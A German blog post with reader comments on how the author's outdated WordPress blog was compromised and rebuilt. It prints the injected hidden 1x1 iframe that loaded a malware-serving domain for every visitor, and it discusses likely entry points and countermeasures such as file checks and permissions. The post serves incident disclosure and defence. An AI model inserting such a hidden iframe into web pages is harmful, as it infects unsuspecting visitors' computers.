Sonstiges

Blogvirus = hacked II

soweit, so gut. Das WordPress-Blog unter basicthinking.de ist komplett neu aufgesetzt (siehe Artikel), DB gelöscht, alles soweit kein Problem, war eh egal um die Inhalte, die habe ich ratzfatz wieder drin. Was war?

  1. Hacker hat in die Datei wp-includes/template-functions-general.php folgenden Code eingeschleust (links die gehackte Datei, rechts das Original der WP-Version 2.0.7)
    hacked file
    (Klick zum Vergrößern)

  2. Somit wurde folgende Codezeile beim Generieren aller Blogseiten erzeugt:
    iframe src=http://googlerank.info width=1 height=1 style=display:none

  3. Wer die Startseite basicthinking.de mit einem ungeschützten PC besucht hat, vaD über ältere IE-Browser, war geküsst, da er sich damit einen Virus eingfangen hat (denn die infizierte Seite wurde per iframe mit geladen). Ohne dass der User vom vorigen Artikel gewusst hatte, rief er mich rein zufällig vorhin an, seine Tochter habe meine Startseite besucht und danach sei der PC verseucht gewesen. Das hat ihn mehrere Stunden gekostet, den PC wieder neu aufzusetzen. I’m very sorry. Surft man die besagte Domain mit einem sichereren Browser an, zB FF 3, wird die Seite geblockt.

  4. Weitere Infos zu der Virenwarnung finden sich in den Kommentaren

  5. Und Hintergrund-Infos zur Infektion via WordPress bei Creative Briefing

  6. Klar ist, dass der Hacker Lücken in älteren WordPress-Versionen ausgenutzt hat. Das neu aufgesetzte Blog entspricht zwar nun der neuesten Version 2.5x, aber ich mache mir da keine Hoffnungen, dass das nicht hackable ist. So zumindest ist das Herausfiltern des Passwords über das Cookie nicht mehr ganz so easy, sollte der Angreifer Zugriff auf das Cookie bekommen.

  7. Es handelt sich dabei offensichtlich nicht um eine nur auf WordPress beschränkte Attacke, die auf spezifische Lücken von WP eingeht: A vulnerability has been identified in phpMyVisites, which could be exploited by attackers to execute arbitrary scripting code. This flaw is due to an input validation error in the „phpmyvisites.php“ script when processing a malformed URL, which could be exploited by attackers to cause arbitrary scripting code to be executed (Quelle). Auch eine weitere Quelle rästelt, wie der Angreifer eingedrungen sein kann. Und soweit ich nun ca. 30 Quellen durchsucht habe, konnte ich nix Vernünftiges finden, was die Lücke angeht. Können also mehrere Lücken sein, verschiedenartige Attacken, usw.. ätzend, diese Unwissenheit.

  8. Ach ja, Filecheck (einfach Anzahl Files und Größe der Files kontrollieren!!!) wird nun nicht mehr nur auf Blog-Root und Wp-Content Folder beschränkt, sondern auf wp-admin und wp-include ausgedehnt. Obwohl der Angreifer den Code/das File ebenso an anderer Stelle abladen könnte und eine WP-Funktionsdatei (im include-Folder liegen die ganzen functions) smarterweise so anpasst, dass sie von der Größe her gleich bleibt (schwieriger, aber nicht unmöglich, Verweis auf Funktion außerhalb WP-Folder). Warum? Wie man oben sehen kann, hat der Meister eine Funktionsdatei angesprochen, die über ein Template-File sowieso aufgerufen wird. Hierbei handelte es sich um den Funktionsaufruf get_footer und get_header, die man in der Footer.php und an anderen Stellen (Templatefiles) finden kann. Get_Header? Zuerst wird ein Cookie gesetzt. Dann erst die URL zur verseuchten Domain erzeugt.

Über den Autor

Robert Basic

Robert Basic ist Namensgeber und Gründer von BASIC thinking und hat die Seite 2009 abgegeben. Von 2004 bis 2009 hat er über 12.000 Artikel hier veröffentlicht.

46 Kommentare

  • Das ist ja mist… aber was mich etwas „ärgert“ ist diese Aussage:

    „Surft man die besagte Domain mit einem sichereren Browser an, zB FF 3, wird die Seite geblockt.“

    Wer seinen Systeme relemäßig Updated – und dazu gehört auch das updaten von WordPress / PlugIns – der hilft auch der „technikfeindlichen“ Menschheit….

    Wer Seiten ins Internet stellt, sollte so etwas im Auge behalten…

    Aber zumindest – vorbildlich alles erklärt und transparent gemacht…

    bleibe weiterhin dein leser 😉

  • nice… wie auch immer er da reingeschummelt wurde der code hat es in sich… Aber ich frag mich immer wieder, warum viele Leute immer noch auf diese rennomierten und damit SEHR UNSICHEREN blog-cms setzt… natürlich ist es schwer, was anderes zu finden, geschweige denn zu programmieren, aber Hackerprobleme hatte ich dank selbstprogrammierten noch nicht so. Sicher kann nicht jeder sich selbst ne seite proggen, aber ich persönlich finde, es müsste einfach mehr CMS geben…

    oder aber man scriptet mal eine Datei, die im Adminbereich anzeigt, ob die Größe der gecheckten Datei die tatsächliche ist. Und hat man Änderungen an einer Datei vorgenommen kann man einfach die Filesize zurücksetzen. Ganz easy und das wurde auch schon im phpBB-Forum umgesetzt… sowas zu schreiben müsste auch recht easy gehen…^^

  • Blöde Frage: Wie sind denn die Berechtigungen auf Dateisystemebene gesetzt? In der Regel sollte das komplette Blogsystem auf 0644 stehen, Verzeichnisse natürlich meist auf 0755. Auch Dateien wie die .htaccess macht man nur temporär für den Webserver schreibbar, wenn man gerade Änderungen wie das Verhalten von mod_rewrite beeinflussen möchte.

  • @Chaostrooper:
    ist deine Frage ernstgemeint, warum viele das „renomierte“ Blog/CMS-Tool WordPress einsetzen? Im Grunde kann die Frage ja nur rhetorisch gemeint sein. Wenn nicht kannst du dir ja mal die Frage stellen wieso sehr viele Windows XY einsetzen, auch wenn dieses ebenfalls als unsicher gilt …
    @Robert: Was mich viel mehr interessiert: Wieso warst du noch auf nem 2.0.7? Zwischenzeitlich gabs ja bereits die 2.2, 2.3 und mittlerweile die 2.5. Ich bezweifel mal, dass dir das nicht bekannt ist und hab auch im Kopf, dass du diesbezüglich Zurückhaltung angekündigt hattest.

    Nicht dass ein 2.5.1 der Weiheit letzter Schluss wäre, aber … 😉

  • War evtl. im Head-Bereich oder im Footer ein Hinweis auf die Version des WP? Das würde erklären, warum trotz nahezu Zero-Content der Hack stattfand. Die Scripts suchen nach solchen“Bannern“ automatisiert und auch der Hack selber ist nicht von Hand gemacht, sondern via Script.

  • Die „Banner“ sollte man inzwischen generell entfernen. Auch andere typische Hinweise. Einige Anwendungen schreiben z.B. <meta name=“generator“….

  • So stelle ich mir die Professionalisierung der Blogosphäre vor. Wenn man was ins Internet stellt und damit Geld verdient, sollten alle grundlegenden Sicherheitsmassnahmen dazu gehören. Genau wie ich als Chef von einem Admin eines Firmennetzes, und wenn es nur ein kleines Unternehmen mit 3 PCs und einem Server ist, erwarte, dass das Antivirus-Programm nicht seit 12 Monaten keine neuen Signaturen bekommen hat.

  • Was ich jetzt noch nicht verstehe. Ich hab (leider) auf diesem Rechner Windows Vista mit aktuellsten Updates, hänge hinter einer Fritz.box mit integrierter Firewall und Windows Defender läuft. ALs Browser nutze ich Opera 9.5 beta. Hab ich den Virus, idF Trojanerm jetzt auch? Konnte bisher nichts finden.

  • … mensch Robert, dachte immer du liest meine Tipps, der/die Artikel zum Thema Sicherheit sind nun hnreichend bekannt. Extra für faule gibt es entsprechende Plugins, nicht mal .htaccess muss sein. …

  • Eine Überlegung wert: movable type 4. nach etwas Einarbeitung kann man viele tolle Sachen mit machen 😉

    Die Bugs und Updates sind alle viel zu häufig bei WordPress um überhaupt irgendeine Freude am bloggen zu haben. Wir wurden vor ’nem Jahr oder so zu spamern dank WordPress, weil ich ein Update nicht rechtzeitig drauf hatte, ohne Plugins, seit dem überrascht mich MT immer wieder mit den Funktionen und Gestaltungsmöglichkeiten ohne irgendwelche php friemeleien in den Templates. Ein Import von Posts und Kommentaren aus WP gibt es auch…

  • verstehe nicht, wie man überhaut noch wordpress einsetzen kann, vor allem als so bekannter blog. würde ich schon fast als fahrlässig bezeichnen.

  • *Grins* Ich surfe über Privoxy (http://www.privoxy.org/). Der filtert mir iframes (und Anderen Mist) raus, noch bevor die Seite den Browser erreicht. Und auf Browserseite werkelt Noscript. Und bei Cookies lass ich jedes einzelne nachfragen und lehne meistens ab.

    Vielleicht bin ich paranoid, aber sicher ist sicher.

  • Wie hat man denn die Inhalte ratz-fatz wieder drin, ohne die infizierten Stellen, die doch auch in der DB sind, wieder mit reinzuladen? Und wie oft muß man so Datenbanksicherungen fahren?

  • […] Der Blog von Robert Basic, Deutschlands meistverlinktem Blogger, ist gehackt worden. Eine interne WordPress-Datei wurde so modifiziert, dass sie in einem Iframe den Schadcode lädt. Dabei ist man mit besonderer Intelligenz und kriminineller Energie vorgegangen. Der ahnungslose Robert wurde durch den Anruf eines Lesers aufmerksam, der den Virus erst nach stundenlangem Kampf von seinem PC beseitigen konnte. […]

  • Unbedingt den Zugriff auf unteranderem wp-includes mittels .htaccess schützen.

    Euje euje, das ist aber schon heftig. Nach Lesen eines Blogs, PC neu aufsetzen zu müssen.

    Grad bei so einem frequentierten Blog sollten alle Register der Sicherheitsmaßnahmen gezogen werden.

  • Ich denke die ganze Energie der Bloggemeinde sollte jetzt darauf gerichtet sein, den Täter zu finden – denn jeder von uns kann der nächste sein, solange der Exploit noch geheim ist und womöglich in Hackerkreisen herumgereicht wird.

  • @31: Is nich dein ernst? In der langen Tradition der gehackten Webseiten muss sich die Bloggemeinde /jetzt/ zusammentun im Kampf gegen die Bösen(TM), weil es einen der ihren getroffen hat?

    Ich will auch in diese schöne-einfache-heile Welt!

  • @31: Noe.

    a) Der Exploit ist mit ziemlicher Sicherheit schon bekannt. Es wurde eine alte Version von WP gehackt, siehe Robert’s Punkt 6

    b) Nicht jeder benutzt WordPress. Also kann es eben nicht jeden treffen.

  • >…Also kann es eben nicht jeden treffen.

    Der Exploit scheint sich nicht nur auf WP zu beschränken. Eine Suche nach besagtem iFrame fördert auf betroffene Forensoftware zu Tage(PHPBB).

  • Wieso schreiben eigentlich immer alle „hacken“, wenn doch eigentlich „cracken“ gemeint ist? Vgl. „Hack“ und „Crack“ in der Wikipedia.

  • Nur noch am Rande: das ist _kein_ WordPress-Hack. Eine kurze Recherche im Netz ergibt, dass dieser Hack querbeet durch Websites geht.

    ups: Stebus Kommentar übersehen.

  • Durch die Popularität von WordPress und den Fremdcode durch Plugins ist das System im Fadenkreuz. Ich hatte LEIDER(!) nicht nur veränderte Dateien, sondern auch schon des öfteres einträge in der Datenbank. Ich konnte letztendlich ein Plugin dafür verantwortlich machen.

  • Wahrscheinlich Exec-PHP (mein Verdacht; entschuldige Sören), aber ganz sicher sein konnte ich mir nicht sein. Ich hatte drei Mal einen „Virus“ innerhalb von sechs Wochen. Letztendlich war mein eigener Fehler, weil ich kein Update des Plugins und WordPress gemacht hatte. Seit dem Update alles bestens.